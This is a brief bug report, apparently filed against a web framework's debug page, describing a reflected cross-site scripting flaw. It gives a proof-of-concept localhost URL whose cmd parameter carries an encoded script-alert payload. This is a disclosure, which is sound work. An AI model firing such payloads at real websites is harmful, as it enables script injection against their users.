not enough important xss

if someone forgot adding custom error for his website, everybody could exploit that xss
url: http://127.0.0.1:5000/path/param?__debugger__=yes&cmd=%3Cscript%3Ealert%281%29%3C/script%3E&frm=code&s=code
image of poc: http://i.imgur.com/1XquiSD.png?1